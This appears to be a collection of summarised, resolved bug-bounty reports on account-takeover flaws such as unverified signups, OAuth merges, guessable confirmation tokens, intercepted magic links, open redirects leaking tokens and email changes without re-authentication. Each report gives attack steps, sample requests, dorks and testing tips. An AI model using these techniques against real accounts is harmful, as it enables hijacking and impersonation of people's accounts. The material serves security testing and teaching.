Real-world example
Pre-account takeover: no email verification lets attacker claim a pending creator account
β Low
Specimen #1679734 Β· shopify Β· 800 Β· 111 votes Β· resolved
Program shopifySurface webTag account-takeover
Root cause
Shopify Collabs (collabs.shopify.com) created creator accounts with no email verification; an attacker could create a Shopify ID with a victim creator's email while the creator's account was in 'pending acceptance' state and no ShopifyID yet existed, hijacking the account.
Method
- Victim creator applies to a brand with their email (pending, no ShopifyID yet)
- Attacker signs up a new Shopify ID with the victim's email at collabs onboarding - no verification required
- Wait for the brand to approve; when victim accepts, attacker controls the account
// sign up new Shopify ID with victim@target.com at collabs.shopify.com/onboarding
// no email-verification step is enforced -> attacker owns the creator identity
Insight β New/secondary platforms bolted onto an SSO often skip email verification. Test 'sign up with a victim's email that has no account yet' (pre-account takeover), especially where a pending invite/application will later be linked.
Real-world example
OAuth pre-account-takeover on unverified email
β Low
Specimen #1074047 Β· bumble Β· awarded Β· 89 votes Β· resolved
Program bumbleSurface webChain pre-register unverified -> victim OAuth login -> attacTag oauthTag account-takeover
Root cause
Signup with an email is allowed while unverified, and the OAuth (Google/etc.) login path does not check for a pre-existing local account with the same email, so it merges into the attacker's unverified account - attacker retains password access after the victim logs in via OAuth.
Method
- Attacker registers with the victim's email via classic signup (email left unverified)
- Victim later logs in with OAuth (Google/VK/etc.) for the same email
- OAuth login attaches to the attacker's existing account instead of rejecting/verifying
- Attacker still holds the password set at signup -> shared/takeover access
1) POST /signup {email:victim@x, password:attacker} (unverified)
2) victim -> Sign in with Google (same email) -> merges into attacker account
Insight β Test pre-ATO on every app with both password and social login: register a victim's email unverified, then log in via OAuth - if it merges rather than forcing verification or password reset, the attacker keeps access.
Real-world example
Guessable + reusable email-confirmation token (auto-login link) -> ATO
β Low
Specimen #1817214 Β· sorare Β· USD 300 Β· 49 votes Β· resolved
Program sorareSurface webChain dork leaked token -> mutate digit -> passwordless logiTag account-takeover
Root cause
Email-confirmation / device-confirmation links auto-authenticate the user with no password, the tokens have low entropy (a lone free digit can be flipped to a neighbouring valid token), and an 'expired' token can be revived by editing it after loading the invalid link.
Method
- Find leaked confirmation links via dorking: site:TARGET inurl:token.
- Open the expired confirm_email link (shows 'already confirmed').
- In the address bar, change a standalone digit in the token (e.g. 4->6) and reload -> logs in as the victim with no password.
# dork
site:sorare.com inurl:token
# expired: https://sorare.com/confirm_email?token=Jt7S7WS_4EphEyiDn6z_&redirectUrl=...
# flip a free digit -> valid: ...token=Jt7S7WS_6EphEyiDn6z_...
Insight β Treat confirmation/magic-login tokens as IDOR/entropy targets: they often auto-login without a password, are single-use only in theory, and low-entropy encodings let you mutate one token into another user's. Also dork inurl:token / redirectUrl leaks - these links end up indexed.
Real-world example
Signup-link email forgery by stripping the email parameter
β Low
Specimen #1357013 Β· mattermost Β· awarded Β· 49 votes Β· resolved
Program mattermostSurface webChain forged invite -> victim populates attacker-owned account Tag account-takeover
Root cause
An invite/signup link encoded an email plus a token. With the email present the email field was locked; blanking the email in the payload made the form editable and the server bound the new account to the token's original (attacker-controlled) email regardless of what the victim typed, letting the attacker later reset the password and reclaim the account.
Method
- As attacker, generate your own invite/signup link (token bound to your email)
- Remove/blank the email value in the link's payload and send it to the victim
- Victim opens it, is prompted for email/username/password and enters their own email, but the account is created under the attacker's token/email
- Victim uses the account; attacker later runs 'forgot password' on their own email to take it over and read the victim's data
# original (email locked):
/signup_user_complete/?d={"email":"attacker@x","name":"main"}&t=<TOKEN>
# forged (email editable but token still bound to attacker):
/signup_user_complete/?d={"email":"","name":"main"}&t=<TOKEN>
Insight β When a signup/invite link carries both an email and a token, test decoupling them: blank/alter the email and see whether the server trusts the token's bound identity over user input. Mismatch = attacker-owned account the victim unknowingly uses.
Real-world example
Magic-link token interception via unverified Android App Link
β Low
Specimen #855618 Β· shopify Β· awarded Β· 33 votes Β· resolved
Program shopifySurface mobile-androidChain unverified app link -> token interception -> VerifyTokTag account-takeover
Root cause
The Arrive app's email 'magic link' passes the login token via a Branch.io app.link deeplink, but the app never verifies the domain via Android App Links (assetlinks.json is empty), so any malicious app can register an intent-filter for the host, intercept the token, and exchange it for a session.
Method
- Malicious app declares an intent-filter for host qvay.app.link (scheme https)
- Trigger/await the magic-link email (attacker can even self-request via SendVerificationEmail)
- Intercept the deeplink token when the link opens
- POST VerifyToken GraphQL mutation to get _arrive-server_session cookie
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="https" android:host="qvay.app.link"/>
</intent-filter>
POST /graphql {"operationName":"VerifyToken","variables":{"token":"<TOKEN>"}}
Insight β Check /.well-known/assetlinks.json for any deeplink domain an app uses to carry auth tokens; if empty/misconfigured, a competing app can claim the host and intercept magic-link/OAuth tokens. SendVerificationEmail returning a session cookie compounds it.
Real-world example
Social linking keyed on mutable username, not immutable ID
β Low
Specimen #452920 Β· liberapay Β· none Β· 22 votes Β· resolved
Program liberapaySurface webTag oauthTag account-takeover
Root cause
Verified GitHub account linking stores the mutable GitHub username instead of the immutable numeric user ID; because GitHub frees released usernames and does not redirect them, an attacker who verified an old username retains the link when someone else later claims it.
Method
- Verify ownership of a soon-to-be-valuable GitHub username on the target app
- Rename your GitHub account (link on the app is unchanged, keyed on the old username string)
- Wait for a victim to claim the freed username and build reputation/repos
- Import/claim the victim's repos on the app as your own -> impersonation
# app stores 'github:ed-liberapay' (username) not 'github:12345' (immutable id)
Insight β For any OAuth/social/SSO linkage, check whether the app persists the provider's immutable ID or a mutable handle (username/email) - handle reuse across providers enables pre-account-hijack and impersonation.
Real-world example
Email-confirmation token not bound to email (verify arbitrary address)
β Low
Specimen #244636 Β· wakatime Β· none Β· 13 votes Β· resolved
Program wakatimeSurface webChain IDOR/parameter tamper on confirm_email -> verified accounTag account-takeover
Root cause
The email-confirmation endpoint trusts the attacker-supplied email in the request body rather than binding the confirmation token to the originating account/email, so any email can be verified through another account's confirmation flow.
Method
- Trigger email verification from your own account
- Intercept the confirm_email POST and change the email field
- Use the resulting confirmation link; the new account is verified under the attacker's control, bypassing OAuth binding
POST /settings/account (confirm_email flow)
Content-Type: application/json
{"email":"attacker@evil.com"}
Insight β On email verify/change flows, tamper the email field in the confirm/POST request. If the server issues or accepts a token not cryptographically bound to the target address, you can verify arbitrary emails and create attacker-controlled verified accounts.
Real-world example
Email change without re-authentication -> forgot-password ATO
β Low
Specimen #223461 Β· weblate Β· none Β· 9 votes Β· resolved
Program weblateSurface webChain session access -> add+verify attacker email (no reauth) -Tag account-takeover
Root cause
The email-change/add-email flow does not require the current password (unlike the password-change flow which does), so an attacker with temporary session access can add and set an attacker email, then use forgot-password to permanently take over the account, sidestepping the password-confirmation control.
Method
- With a stolen/left-open session, POST a new attacker-controlled email to the add-email endpoint (no current password required)
- Verify it via the emailed link (attacker controls the mailbox)
- Set the attacker email as the primary/account email
- Trigger forgot-password to the attacker email and reset -> permanent takeover
POST /accounts/email/ ... (no current password)
email=attacker%40evil.tld
# verify via /accounts/complete/email/?verification_code=...
# set primary via POST /accounts/profile/ email=attacker%40evil.tld
# then POST /accounts/reset/ email=attacker%40evil.tld
Insight β Any state-changing identity action (change email, delete account, change 2FA, etc.) must re-prompt for the password. Audit the whole set: if password-change asks for the password but email-change does not, the email path becomes the ATO route through forgot-password. Also seen: account deletion without re-auth (#223355), email change without password confirmation on WakaTime (#245334).
Real-world example
Email change without re-verification (unverified takeover)
β Low
Specimen #2305880 Β· nextcloud Β· none Β· 42 votes Β· resolved
Program nextcloudSurface webTag account-takeover
Root cause
Signup verified the initial email, but the change-email profile flow applied the new address without sending a verification challenge, so an attacker could register with their own email and then switch the account's email to a victim's address they do not control.
Method
- Register an account with an attacker email and verify it
- In profile settings, change the email to the victim's address
- Observe the change is accepted with no verification to the victim mailbox
Insight β Verification at signup does not imply verification on change. Always test the change-email path independently: set it to an address you do not own and see whether a confirmation is required before it takes effect. Missing re-verification = impersonation / pre-takeover.
Real-world example
Password-reset token not invalidated when account email changes
β Low
Specimen #145896 Β· nextcloud Β· none Β· 7 votes Β· resolved
Program nextcloudSurface webChain stale reset token + old-mailbox access -> account takeoveTag account-takeover
Root cause
An issued (unused) password-reset token remained valid after the user changed their account email, so whoever controls the OLD mailbox can still complete the reset.
Method
- Victim requests a reset link to old email abc@x.com but doesn't use it
- Victim changes their account email to new@z.com
- Old reset link still works β holder of the old mailbox resets the password
Insight β Reset/verification tokens must be invalidated on any auth-material change (email change, password change, MFA change, logout-all). Test: mint a token, change email, then try the old token. Also check the inverse (change password after minting a reset link).
Real-world example
Account takeover via password reset after account deletion
β Low
Specimen #230076 Β· weblate Β· none Β· 7 votes Β· resolved
Program weblateSurface webChain account deletion -> reset flow still valid -> resurrecTag account-takeover
Root cause
Account deletion did not fully remove the identity, so the forgot-password flow could still issue a valid reset for the 'deleted' account and resurrect/take it over.
Method
- Delete your account
- Confirm login fails with old credentials
- Trigger forgot-password for the same email, follow the reset link, set a new password
- Account is restored/taken over
Insight β Test account lifecycle edge cases: after deletion/deactivation, can the reset/registration flow resurrect the account or its old data? Deletion must invalidate reset paths and orphaned identity records. Same idea applies to email-change and merge flows.
Real-world example
Open redirect + broad OAuth redirect_uri whitelist = token theft
β Info
Specimen #6017 Β· security Β· awarded Β· 17 votes Β· resolved
Program securitySurface webChain broad OAuth redirect_uri whitelist -> fragment-preservingTag oauthTag account-takeover
Root cause
A 302 open redirect on a *.slack.com subdomain preserves the URL fragment, and the linked Facebook OAuth app accepts any *.slack.com (including files.slack.com) as redirect_uri, so the implicit-flow access token in the fragment is carried onto an attacker-reachable page.
Method
- Find an OAuth app whose redirect_uri whitelist allows a whole domain / any subdomain
- Find a 302 open redirect on one of those subdomains that preserves the #fragment
- Set redirect_uri to the redirecting subdomain URL; token (in fragment) survives the redirect and leaks
https://www.facebook.com/dialog/oauth?client_id=569627156411038&redirect_uri=https%3A%2F%2Ffiles.slack.com%2Ffiles-pri%2F...%2Fhash.swf&response_type=token&scope=user_photos
Insight β Open redirects graduate from 'informational' to critical when paired with OAuth implicit flow: the #access_token rides through the redirect. Audit OAuth apps for overly broad subdomain redirect_uri whitelists and hunt a fragment-preserving redirect on any allowed host.
Real-world example
Open redirect leaks CSRF authenticity_token via form action -> ATO
β Info
Specimen #49759 Β· x Β· USD 1400 Β· 7 votes Β· resolved
Program xSurface webChain open redirect -> CSRF token leak -> authenticated add Tag account-takeover
Root cause
A form/action endpoint accepts an unvalidated external URL as its POST target, so the browser submits the request (including the CSRF authenticity_token as a body/param) to the attacker's domain, handing the attacker a valid anti-CSRF token.
Method
- Find a state-changing action whose form action / redirect target is user-controlled (here recipient=).
- Point it at attacker.com so the authenticated POST is sent off-origin.
- Capture the leaked authenticity_token from the incoming request.
- Replay the token to perform CSRF-protected actions (add phone/email) and recover/take over the account.
https://mobile.twitter.com/messages/follow?recipient=/example.com
Insight β An open redirect that controls a POST target is worth far more than a phishing redirect: it exfiltrates the anti-CSRF token. Always test whether the redirect param feeds a form action or a request the browser makes with credentials, then chain leaked token -> add recovery factor -> ATO.
Real-world example
Non-expiring email-verify magic link authenticates without password
β Info
Specimen #124151 Β· eternal Β· none Β· 4 votes Β· resolved
Program eternalSurface webTag account-takeover
Root cause
The 'Verify Email Address' link logged the user in with no password and never expired after activation; its fbcid parameter was merely base64-encoded, leaking user id, 4-digit code and email, all passed via GET and thus stored in history/logs/caches.
Method
- Register and receive the verify-email link
- Base64-decode the fbcid param to reveal userid + 4-digit code + email
- Reuse the still-valid link (from history/logs/shared machine) to authenticate into the victim's session without a password
https://.../verify?fbcid=<base64(userid|code|email)> # decodes to sensitive auth material, GET, non-expiring
Insight β Email magic links that establish a session must be single-use and short-lived; never encode auth material in reversible base64 in a GET URL that lands in history/logs.
Real-world example
Password-reset token not invalidated after email/password change
β Info
Specimen #8082 Β· security Β· USD 100 Β· 15 votes Β· resolved
Program securitySurface webChain stale reset token + email change -> account takeoverTag account-takeover
Root cause
A reset link issued for an account stays valid even after the account's email address and password are subsequently changed; the token is not tied to the current credential/email state.
Method
- Request a password reset link for john@example.com but do not use it.
- Change the account email to attacker/other address and verify it, then change the password.
- Use the still-valid original reset link to regain control (or an attacker who captured it can take over).
Insight β Reset tokens must be invalidated on any credential- or email-change event, not just on use/expiry. Always test whether an old reset link survives email change, password change, and a newer reset request.
Real-world example
Sensitive email change without reauthentication or old-email confirmation
β Info
Specimen #546 Β· security Β· awarded Β· 15 votes Β· resolved
Program securitySurface webChain email change (no reauth) -> forgot-password -> full acTag account-takeover
Root cause
Changing the account email requires no password reauth and sends no confirmation to the original address, so anyone with a live session (e.g. an open public computer) can seize the account and then abuse forgot-password.
Method
- On a victim's open session, change the account email to attacker-controlled address.
- Verify via the email sent to the new (attacker) address.
- Use forgot-password to set a new password and lock the victim out.
Insight β Any state-changing sensitive action (email, password, 2FA, delete) should demand password reauth. Email change specifically should notify/confirm the OLD address; test whether it does.
Real-world example
Takeover of unverified/incomplete accounts via re-registration
β Info
Specimen #64626 Β· maplogin Β· none Β· 3 votes Β· resolved
Program maploginSurface webTag account-takeover
Root cause
When a registration was verified but left incomplete, a second actor could start 'Create New Account' with the victim's email and complete the profile, ending up logged in as the victim.
Method
- Register with victim email and enter the emailed verification code, but do not finish profile
- From a fresh browser, log in with that email; app offers 'Create New Account'
- Fill first/last name and phone for the victim email and click Next
- Now authenticated as the victim account
Insight β Half-provisioned account states (verified-but-incomplete, invited-not-activated, SSO-stub) are prime takeover targets: re-run registration/onboarding for a target email and see if the flow attaches you to the existing account instead of rejecting it.